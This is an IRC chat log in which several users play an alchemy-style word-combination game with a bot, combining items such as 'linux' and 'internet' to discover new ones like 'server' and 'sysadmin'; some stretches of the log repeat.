[2015-01-01T13:54:24-0500] <alokpathy> nezorg: I didn't either XD
[2015-01-01T13:54:25-0500] <Tamini_> we need to find knuth tho
[2015-01-01T13:54:30-0500] <alokpathy> @combine computer science
[2015-01-01T13:54:30-0500] <alchemy> computer and science don't make anything exciting.
[2015-01-01T13:54:32-0500] <Tamini_> nezorg: not much of a drinker? :P
[2015-01-01T13:54:35-0500] <alokpathy> @combine man science
[2015-01-01T13:54:35-0500] <alchemy> man and science don't make anything exciting.
[2015-01-01T13:54:41-0500] <nezorg> Tamini_: afraid not
[2015-01-01T13:54:44-0500] <alokpathy> @possible stanford
[2015-01-01T13:54:44-0500] <alchemy> No, you can't make stanford.
[2015-01-01T13:54:49-0500] <alokpathy> @possible professor
[2015-01-01T13:54:50-0500] <alchemy> No, you can't make professor.
[2015-01-01T13:54:54-0500] <alokpathy> @possible researcher
[2015-01-01T13:54:54-0500] <alchemy> No, you can't make researcher.
[2015-01-01T13:54:58-0500] <alokpathy> @possible teacher
[2015-01-01T13:54:58-0500] <alchemy> No, you can't make teacher.
[2015-01-01T13:55:01-0500] <alokpathy> Hm
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[2015-01-01T13:55:27-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-01-01T13:55:27-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-01T13:53:15-0500] <nezorg> probably
[2015-01-01T13:53:16-0500] <Tamini_> what was he again
[2015-01-01T13:53:19-0500] <nezorg> I did last year
[2015-01-01T13:53:19-0500] <Tamini_> @genius hacker
[2015-01-01T13:53:25-0500] <Tamini_> @combine genius hacker
[2015-01-01T13:53:26-0500] <alchemy> You already combined genius and hacker to get mel.
[2015-01-01T13:53:27-0500] <alokpathy> @combine linux man
[2015-01-01T13:53:28-0500] <alchemy> You already combined linux and man to get nexorg.
[2015-01-01T13:53:31-0500] <nezorg> lol
[2015-01-01T13:53:32-0500] <Tamini_> oh LOL
[2015-01-01T13:53:41-0500] <Tamini_> @combine hacker man
[2015-01-01T13:53:42-0500] <alchemy> hacker and man don't make anything exciting.
[2015-01-01T13:53:48-0500] <alokpathy> nezorg: Oh nice
[2015-01-01T13:53:49-0500] <Tamini_> hm
[2015-01-01T13:53:58-0500] <alokpathy> When is DEFCON?
[2015-01-01T13:54:01-0500] <Tamini_> oh we still dont have tex
[2015-01-01T13:54:05-0500] <Tamini_> @combine paper hacker
[2015-01-01T13:54:06-0500] <alchemy> paper and hacker don't make anything exciting.
[2015-01-01T13:54:08-0500] <alokpathy> @list
[2015-01-01T13:54:09-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T13:54:09-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T13:54:09-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool
[2015-01-01T13:54:09-0500] <alchemy> You have: puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2015-01-01T13:54:09-0500] <alchemy> You have: tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T13:54:09-0500] <alchemy> That's 92 out of 133!
[2015-01-01T13:54:11-0500] <Tamini_> @combine paper boy
[2015-01-01T13:54:12-0500] <nezorg> didn't go to any party's though :/
[2015-01-01T13:54:12-0500] <alchemy> You don't have boy!
[2015-01-01T13:54:14-0500] <alokpathy> @combine paper computer
[2015-01-01T13:54:14-0500] <alchemy> paper and computer don't make anything exciting.
[2015-01-01T13:54:17-0500] <Tamini_> @combine paper man
[2015-01-01T13:54:18-0500] <alchemy> paper and man don't make anything exciting.
[2015-01-01T13:54:20-0500] <nezorg> *parties
[2015-01-01T13:54:24-0500] <alokpathy> nezorg: I didn't either XD
[2015-01-01T13:54:25-0500] <Tamini_> we need to find knuth tho
[2015-01-01T13:54:30-0500] <alokpathy> @combine computer science
[2015-01-01T13:54:30-0500] <alchemy> computer and science don't make anything exciting.
[2015-01-01T13:54:32-0500] <Tamini_> nezorg: not much of a drinker? :P
[2015-01-01T13:54:35-0500] <alokpathy> @combine man science
[2015-01-01T13:54:35-0500] <alchemy> man and science don't make anything exciting.
[2015-01-01T13:54:41-0500] <nezorg> Tamini_: afraid not
[2015-01-01T13:54:43-0500] <alokpathy> @possible stanford
[2015-01-01T13:54:44-0500] <alchemy> No, you can't make stanford.
[2015-01-01T13:54:49-0500] <alokpathy> @possible professor
[2015-01-01T13:54:50-0500] <alchemy> No, you can't make professor.
[2015-01-01T13:54:54-0500] <alokpathy> @possible researcher
[2015-01-01T13:54:54-0500] <alchemy> No, you can't make researcher.
[2015-01-01T13:54:57-0500] <alokpathy> @possible teacher
[2015-01-01T13:54:58-0500] <alchemy> No, you can't make teacher.
[2015-01-01T13:55:01-0500] <alokpathy> Hm
[2015-01-01T13:55:28-0500] Mode is +ns
[2015-01-01T13:56:55-0500] <Tamini_> nezorg: help us find knuth! :O
[2015-01-01T13:57:19-0500] <nezorg> @combine math computer
[2015-01-01T13:57:20-0500] <alchemy> math and computer don't make anything exciting.
[2015-01-01T13:57:41-0500] <alokpathy> @combine math paper
[2015-01-01T13:57:41-0500] <alchemy> math and paper don't make anything exciting.
[2015-01-01T13:57:49-0500] <alokpathy> @combine math man
[2015-01-01T13:57:49-0500] <alchemy> math and man don't make anything exciting.
[2015-01-01T13:57:57-0500] <nezorg> @combine math genius
[2015-01-01T13:57:57-0500] <alchemy> You already combined math and genius to get euler.
[2015-01-01T13:58:06-0500] <alokpathy> @combine euler computer
[2015-01-01T13:58:07-0500] <alchemy> euler and computer don't make anything exciting.
[2015-01-01T13:58:14-0500] <nezorg> @combine computer genius
[2015-01-01T13:58:14-0500] <alchemy> computer and genius don't make anything exciting.
[2015-01-01T13:58:18-0500] <alokpathy> @combine einstein computer
[2015-01-01T13:58:18-0500] <alchemy> einstein and computer don't make anything exciting.
[2015-01-01T13:58:20-0500] <alokpathy> @list
[2015-01-01T13:58:20-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T13:58:20-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T13:58:20-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool
[2015-01-01T13:58:20-0500] <alchemy> You have: puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2015-01-01T13:58:20-0500] <alchemy> You have: tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T13:58:20-0500] <alchemy> That's 92 out of 133!
[2015-01-01T13:58:42-0500] <alokpathy> @combine torvalds math
[2015-01-01T13:58:42-0500] <alchemy> torvalds and math don't make anything exciting.
[2015-01-01T13:59:20-0500] <alokpathy> @combine megamind math
[2015-01-01T13:59:20-0500] <alchemy> megamind and math don't make anything exciting.
[2015-01-01T13:59:27-0500] <+hardmath123[zzz]> you guys still need to find stuff that needs to be combined to get stuff that needs to be combined to get knuth. :P
[2015-01-01T13:59:38-0500] <alokpathy> Oops LOL
[2015-01-01T13:59:53-0500] <alokpathy> Oh wait how'd we get food?
[2015-01-01T13:59:55-0500] <nezorg> @combine science man
[2015-01-01T13:59:57-0500] <alchemy> science and man don't make anything exciting.
[2015-01-01T14:00:06-0500] <nezorg> @combine science genius
[2015-01-01T14:00:06-0500] <Tamini_> lol
[2015-01-01T14:00:06-0500] <alchemy> You already combined science and genius to get einstein.
[2015-01-01T14:00:09-0500] <Tamini_> i dont remember
[2015-01-01T14:00:12-0500] <Tamini_> i got it last night
[2015-01-01T14:00:20-0500] <Tamini_> we can get time from what we have right now
[2015-01-01T14:00:24-0500] <alokpathy> Oh hm
[2015-01-01T14:00:26-0500] <Tamini_> we need stuff for knuth/hardmath
[2015-01-01T14:00:38-0500] <Tamini_> @combine crops rain
[2015-01-01T14:00:40-0500] <alchemy> You already combined crops and rain to get food.
[2015-01-01T14:00:41-0500] <Tamini_> i remember now
[2015-01-01T14:00:46-0500] <alokpathy> Ah
[2015-01-01T14:00:52-0500] <alokpathy> So, time
[2015-01-01T14:00:53-0500] <alokpathy> hm
[2015-01-01T14:01:03-0500] <alokpathy> @combine einstein megamind
[2015-01-01T14:01:03-0500] <alchemy> einstein and megamind don't make anything exciting.
[2015-01-01T14:01:14-0500] <Tamini_> @combine einstein light
[2015-01-01T14:01:15-0500] <alchemy> einstein and light don't make anything exciting.
[2015-01-01T14:01:15-0500] <+hardmath123[zzz]> Tamini_: you found hardmath123
[2015-01-01T14:01:18-0500] hardmath123[zzz] is now known as hardmath123
[2015-01-01T14:01:21-0500] <Tamini_> i did?
[2015-01-01T14:01:24-0500] <Tamini_> what was it
[2015-01-01T14:01:24-0500] <alokpathy> Tamini_: Yeah
[2015-01-01T14:01:26-0500] <Tamini_> OH YEAH
[2015-01-01T14:01:27-0500] <Tamini_> i did
[2015-01-01T14:01:35-0500] <Tamini_> uh it was knuth and something else
[2015-01-01T14:01:41-0500] • hardmath123: implements "@dowehave"
[2015-01-01T14:01:48-0500] <alokpathy> lololol
[2015-01-01T14:02:43-0500] <Tamini_> lol
[2015-01-01T14:02:50-0500] <Tamini_> @possible knuth
[2015-01-01T14:02:51-0500] <alchemy> Yeah, you can make knuth.
[2015-01-01T14:02:52-0500] <Tamini_> @possible tex
[2015-01-01T14:02:53-0500] <alchemy> Yeah, you can make tex.
[2015-01-01T14:03:08-0500] <alokpathy> @possible banana
[2015-01-01T14:03:09-0500] <alchemy> No, you can't make banana.
[2015-01-01T14:03:10-0500] <alokpathy> :(
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[2015-01-01T14:04:12-0500] <+hardmath123> @dowehave knth
[2015-01-01T14:04:14-0500] <alchemy> No, knth is not in your collection.
[2015-01-01T14:04:15-0500] <+hardmath123> @dowehave knuth
[2015-01-01T14:04:16-0500] <alchemy> No, knuth is not in your collection.
[2015-01-01T14:04:19-0500] <+hardmath123> @dowehave water
[2015-01-01T14:04:20-0500] <alchemy> Yes, you have water.
[2015-01-01T14:04:22-0500] <alokpathy> XD
[2015-01-01T14:04:25-0500] <alokpathy> Ta
[2015-01-01T14:04:26-0500] <alokpathy> Tamini_: 
[2015-01-01T14:04:28-0500] <Tamini_> lol
[2015-01-01T14:04:44-0500] <alokpathy> @list
[2015-01-01T14:04:45-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T14:04:45-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T14:04:45-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool
[2015-01-01T14:04:45-0500] <alchemy> You have: puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2015-01-01T14:04:45-0500] <alchemy> You have: tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T14:04:45-0500] <alchemy> That's 92 out of 133!
[2015-01-01T14:05:09-0500] <alokpathy> So, time
[2015-01-01T14:05:10-0500] <alokpathy> @hint
[2015-01-01T14:05:11-0500] <alchemy> No can do, buddy.
[2015-01-01T14:05:14-0500] <alokpathy> @hint
[2015-01-01T14:05:15-0500] <alchemy> Not on your life.
[2015-01-01T14:05:15-0500] <alokpathy> @hint
[2015-01-01T14:05:17-0500] <alchemy> Nope.
[2015-01-01T14:05:17-0500] <alokpathy> @hint
[2015-01-01T14:05:18-0500] <alchemy> Not this time!
[2015-01-01T14:05:18-0500] <alokpathy> @hint
[2015-01-01T14:05:19-0500] <alchemy> Hint: It's possible to make beatles with rock!
[2015-01-01T14:05:28-0500] <alokpathy> Noted.
[2015-01-01T14:05:31-0500] <alokpathy> @hint
[2015-01-01T14:05:33-0500] <alchemy> Hint: It's possible to make margin with paper!
[2015-01-01T14:05:36-0500] <alokpathy> Oh hm
[2015-01-01T14:06:00-0500] <alokpathy> @possible space
[2015-01-01T14:06:01-0500] <alchemy> No, you can't make space.
[2015-01-01T14:06:06-0500] <Hyper> @combine paper air
[2015-01-01T14:06:07-0500] <alchemy> paper and air don't make anything exciting.
[2015-01-01T14:06:36-0500] <Hyper> @combine math computer
[2015-01-01T14:06:37-0500] <alchemy> math and computer don't make anything exciting.
[2015-01-01T14:06:43-0500] <Hyper> *sigh*
[2015-01-01T14:07:15-0500] <alokpathy> @combine paper computer
[2015-01-01T14:07:16-0500] <alchemy> paper and computer don't make anything exciting.
[2015-01-01T14:07:34-0500] <alokpathy> @hint
[2015-01-01T14:07:35-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-01T14:07:37-0500] <alokpathy> @hint
[2015-01-01T14:07:38-0500] <alchemy> Hint: It's possible to make mel with hacker!
[2015-01-01T14:07:40-0500] <alokpathy> @hint
[2015-01-01T14:07:41-0500] <alchemy> No can do, buddy.
[2015-01-01T14:07:41-0500] <alokpathy> @hint
[2015-01-01T14:07:42-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-01T14:07:43-0500] <alokpathy> @hint
[2015-01-01T14:07:44-0500] <alchemy> Not on your life.
[2015-01-01T14:07:45-0500] <alokpathy> @hint
[2015-01-01T14:07:46-0500] <alchemy> Not this time!
[2015-01-01T14:07:47-0500] <alokpathy> @hint
[2015-01-01T14:07:47-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-01T14:07:48-0500] <alokpathy> @hint
[2015-01-01T14:07:49-0500] <alchemy> Not this time!
[2015-01-01T14:07:50-0500] <alokpathy> @hint
[2015-01-01T14:07:50-0500] <alchemy> Nope.
[2015-01-01T14:07:51-0500] <alokpathy> @hint
[2015-01-01T14:07:52-0500] <alchemy> Hint: It's possible to make ocean with water!
[2015-01-01T14:07:53-0500] <alokpathy> @hint
[2015-01-01T14:07:54-0500] <alchemy> Not this time!
[2015-01-01T14:07:55-0500] <alokpathy> @hint
[2015-01-01T14:07:56-0500] <alchemy> No can do, buddy.
[2015-01-01T14:07:56-0500] <alokpathy> @hint
[2015-01-01T14:07:57-0500] <alchemy> Hint: It's possible to make santa with christmas!
[2015-01-01T14:08:00-0500] <alokpathy> LOL
[2015-01-01T14:08:02-0500] <alokpathy> @list
[2015-01-01T14:08:03-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T14:08:03-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T14:08:03-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool
[2015-01-01T14:08:03-0500] <alchemy> You have: puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2015-01-01T14:08:03-0500] <alchemy> You have: tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T14:08:03-0500] <alchemy> That's 92 out of 133!
[2015-01-01T14:08:17-0500] <alokpathy> santa = christmas + man probably
[2015-01-01T14:08:22-0500] <alokpathy> but how to make christmas.
[2015-01-01T14:08:46-0500] <Hyper> @combine wind snow
[2015-01-01T14:08:47-0500] <alchemy> wind and snow don't make anything exciting.
[2015-01-01T14:10:00-0500] <+hardmath123> @refresh
[2015-01-01T14:10:01-0500] <alchemy> Refreshing...
[2015-01-01T14:10:01-0500] <alchemy> Done.
[2015-01-01T14:10:04-0500] <+hardmath123> @possible spaghetti
[2015-01-01T14:10:04-0500] <alchemy> Yeah, you can make spaghetti.
[2015-01-01T14:10:07-0500] <alokpathy> @list
[2015-01-01T14:10:08-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T14:10:08-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T14:10:08-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool
[2015-01-01T14:10:08-0500] <alchemy> You have: puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2015-01-01T14:10:08-0500] <alchemy> You have: tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T14:10:08-0500] <alchemy> That's 92 out of 136!
[2015-01-01T14:10:33-0500] <alokpathy> Tamini_: Help with time .-.
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[2015-01-01T14:11:44-0500] <+hardmath123> @hint
[2015-01-01T14:11:46-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-01T14:11:47-0500] <+hardmath123> @hint
[2015-01-01T14:11:48-0500] <alchemy> Nope.
[2015-01-01T14:11:52-0500] <+hardmath123> @hint
[2015-01-01T14:11:53-0500] <alchemy> Nope.
[2015-01-01T14:11:54-0500] <+hardmath123> @hint
[2015-01-01T14:11:55-0500] <alchemy> Nope.
[2015-01-01T14:12:07-0500] <+hardmath123> @hint
[2015-01-01T14:12:08-0500] <alchemy> Hint: It's possible to make house with wood!
[2015-01-01T14:13:41-0500] <alokpathy> Grah, how do you make time?
[2015-01-01T14:19:06-0500] <+LittleBobbyTables> nezorg: you're going to defcon?
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[2015-01-01T14:43:55-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-01T14:07:47-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-01T14:07:48-0500] <alokpathy> @hint
[2015-01-01T14:07:49-0500] <alchemy> Not this time!
[2015-01-01T14:07:49-0500] <alokpathy> @hint
[2015-01-01T14:07:50-0500] <alchemy> Nope.
[2015-01-01T14:07:51-0500] <alokpathy> @hint
[2015-01-01T14:07:52-0500] <alchemy> Hint: It's possible to make ocean with water!
[2015-01-01T14:07:53-0500] <alokpathy> @hint
[2015-01-01T14:07:54-0500] <alchemy> Not this time!
[2015-01-01T14:07:55-0500] <alokpathy> @hint
[2015-01-01T14:07:56-0500] <alchemy> No can do, buddy.
[2015-01-01T14:07:56-0500] <alokpathy> @hint
[2015-01-01T14:07:57-0500] <alchemy> Hint: It's possible to make santa with christmas!
[2015-01-01T14:08:00-0500] <alokpathy> LOL
[2015-01-01T14:08:02-0500] <alokpathy> @list
[2015-01-01T14:08:03-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T14:08:03-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T14:08:03-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool
[2015-01-01T14:08:03-0500] <alchemy> You have: puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2015-01-01T14:08:03-0500] <alchemy> You have: tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T14:08:03-0500] <alchemy> That's 92 out of 133!
[2015-01-01T14:08:16-0500] <alokpathy> santa = christmas + man probably
[2015-01-01T14:08:22-0500] <alokpathy> but how to make christmas.
[2015-01-01T14:08:46-0500] <Hyper> @combine wind snow
[2015-01-01T14:08:47-0500] <alchemy> wind and snow don't make anything exciting.
[2015-01-01T14:10:00-0500] <+hardmath123> @refresh
[2015-01-01T14:10:01-0500] <alchemy> Refreshing...
[2015-01-01T14:10:01-0500] <alchemy> Done.
[2015-01-01T14:10:04-0500] <+hardmath123> @possible spaghetti
[2015-01-01T14:10:04-0500] <alchemy> Yeah, you can make spaghetti.
[2015-01-01T14:10:07-0500] <alokpathy> @list
[2015-01-01T14:10:08-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T14:10:08-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T14:10:08-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool
[2015-01-01T14:10:08-0500] <alchemy> You have: puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2015-01-01T14:10:08-0500] <alchemy> You have: tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T14:10:08-0500] <alchemy> That's 92 out of 136!
[2015-01-01T14:10:33-0500] <alokpathy> Tamini_: Help with time .-.
[2015-01-01T14:11:44-0500] <+hardmath123> @hint
[2015-01-01T14:11:46-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-01T14:11:47-0500] <+hardmath123> @hint
[2015-01-01T14:11:48-0500] <alchemy> Nope.
[2015-01-01T14:11:52-0500] <+hardmath123> @hint
[2015-01-01T14:11:53-0500] <alchemy> Nope.
[2015-01-01T14:11:54-0500] <+hardmath123> @hint
[2015-01-01T14:11:55-0500] <alchemy> Nope.
[2015-01-01T14:12:07-0500] <+hardmath123> @hint
[2015-01-01T14:12:08-0500] <alchemy> Hint: It's possible to make house with wood!
[2015-01-01T14:13:41-0500] <alokpathy> Grah, how do you make time?
[2015-01-01T14:19:06-0500] <+LittleBobbyTables> nezorg: you're going to defcon?
[2015-01-01T14:43:56-0500] Mode is +ns
[2015-01-01T15:20:06-0500] <Tamini_> alokpathy: uhh
[2015-01-01T15:20:21-0500] <Tamini_> @possible christmas
[2015-01-01T15:20:22-0500] <alchemy> Yeah, you can make christmas.
[2015-01-01T15:20:25-0500] <Tamini_> @possible holiday
[2015-01-01T15:20:26-0500] <alchemy> No, you can't make holiday.
[2015-01-01T15:20:30-0500] <Tamini_> @possible newyears
[2015-01-01T15:20:30-0500] <alchemy> No, you can't make newyears.
[2015-01-01T15:20:34-0500] <Tamini_> @possible newyear
[2015-01-01T15:20:35-0500] <alchemy> No, you can't make newyear.
[2015-01-01T15:20:42-0500] <Tamini_> @hint
[2015-01-01T15:20:43-0500] <alchemy> Not this time!
[2015-01-01T15:20:45-0500] <Tamini_> @hint
[2015-01-01T15:20:46-0500] <alchemy> Hint: It's possible to make sysadmin with server!
[2015-01-01T15:20:52-0500] <Tamini_> ooh alokpathy
[2015-01-01T15:20:54-0500] <Tamini_> server!
[2015-01-01T15:21:02-0500] <Tamini_> @combine computer enginr
[2015-01-01T15:21:03-0500] <alchemy> You don't have enginr!
[2015-01-01T15:21:10-0500] <Tamini_> @combine computer engine
[2015-01-01T15:21:10-0500] <alchemy> computer and engine don't make anything exciting.
[2015-01-01T15:21:15-0500] <jwoglom> @combine server man
[2015-01-01T15:21:16-0500] <alchemy> You don't have server!
[2015-01-01T15:21:21-0500] <Tamini_> @combine computer computer
[2015-01-01T15:21:22-0500] <alchemy> computer and computer don't make anything exciting.
[2015-01-01T15:21:25-0500] <alokpathy> Oh hm
[2015-01-01T15:21:30-0500] <alokpathy> @possible system
[2015-01-01T15:21:30-0500] <alchemy> No, you can't make system.
[2015-01-01T15:21:35-0500] <jwoglom> @combine computer torvalds
[2015-01-01T15:21:36-0500] <alchemy> computer and torvalds don't make anything exciting.
[2015-01-01T15:21:40-0500] <alokpathy> @possible admin
[2015-01-01T15:21:41-0500] <alchemy> No, you can't make admin.
[2015-01-01T15:21:45-0500] <jwoglom> @combine computer cloud
[2015-01-01T15:21:47-0500] <alchemy> computer and cloud don't make anything exciting.
[2015-01-01T15:21:55-0500] <jwoglom> @combine computer genius
[2015-01-01T15:21:55-0500] <alchemy> computer and genius don't make anything exciting.
[2015-01-01T15:21:59-0500] <jwoglom> @combine computer hacker
[2015-01-01T15:22:00-0500] <alchemy> computer and hacker don't make anything exciting.
[2015-01-01T15:22:03-0500] <alokpathy> @list
[2015-01-01T15:22:03-0500] <jwoglom> @combine man hacker
[2015-01-01T15:22:04-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T15:22:04-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T15:22:04-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool
[2015-01-01T15:22:04-0500] <alchemy> You have: puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2015-01-01T15:22:04-0500] <alchemy> You have: tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T15:22:04-0500] <alchemy> That's 92 out of 136!
[2015-01-01T15:22:05-0500] <alchemy> man and hacker don't make anything exciting.
[2015-01-01T15:22:31-0500] <jwoglom> @combine blackhat hacker
[2015-01-01T15:22:31-0500] <alchemy> blackhat and hacker don't make anything exciting.
[2015-01-01T15:22:42-0500] <jwoglom> @combine internet man
[2015-01-01T15:22:42-0500] <alchemy> You already combined internet and man to get hacker.
[2015-01-01T15:22:45-0500] <jwoglom> @combine internet hacker
[2015-01-01T15:22:45-0500] <alchemy> internet and hacker don't make anything exciting.
[2015-01-01T15:22:53-0500] <jwoglom> @combine pengiun man
[2015-01-01T15:22:54-0500] <alchemy> You don't have pengiun!
[2015-01-01T15:22:56-0500] <jwoglom> @combine penguin man
[2015-01-01T15:22:56-0500] <alchemy> penguin and man don't make anything exciting.
[2015-01-01T15:22:58-0500] <jwoglom> @combine penguin hacker
[2015-01-01T15:22:59-0500] <alchemy> You already combined penguin and hacker to get linux.
[2015-01-01T15:23:05-0500] <jwoglom> @combine linux man
[2015-01-01T15:23:05-0500] <alchemy> You already combined linux and man to get nexorg.
[2015-01-01T15:23:08-0500] <jwoglom> @combine linux genius
[2015-01-01T15:23:08-0500] <alchemy> linux and genius don't make anything exciting.
[2015-01-01T15:23:11-0500] <jwoglom> @combine linux hacker
[2015-01-01T15:23:12-0500] <alchemy> You already combined linux and hacker to get torvalds.
[2015-01-01T15:23:31-0500] <jwoglom> @combine linux computer
[2015-01-01T15:23:31-0500] <alchemy> linux and computer don't make anything exciting.
[2015-01-01T15:23:47-0500] <jwoglom> @combine linux internet
[2015-01-01T15:23:47-0500] <alchemy> You just discovered server (linux + internet)!
[2015-01-01T15:23:52-0500] <jwoglom> @combine server man
[2015-01-01T15:23:53-0500] <alchemy> You just discovered sysadmin (server + man)!
[2015-01-01T15:23:54-0500] <jwoglom> o/
[2015-01-01T15:24:13-0500] <jwoglom> @combine sysadmin evil
[2015-01-01T15:24:14-0500] <alchemy> You just discovered ninja (sysadmin + evil)!
[2015-01-01T15:24:19-0500] <jwoglom> @combine sysadmin hacker
[2015-01-01T15:24:19-0500] <alchemy> sysadmin and hacker don't make anything exciting.
[2015-01-01T15:25:36-0500] <alokpathy> jwoglom: woo
[2015-01-01T15:25:40-0500] <alokpathy> :D
[2015-01-01T15:25:47-0500] <alokpathy> @list
[2015-01-01T15:25:48-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T15:25:48-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T15:25:48-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin, plant
[2015-01-01T15:25:48-0500] <alchemy> You have: pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone
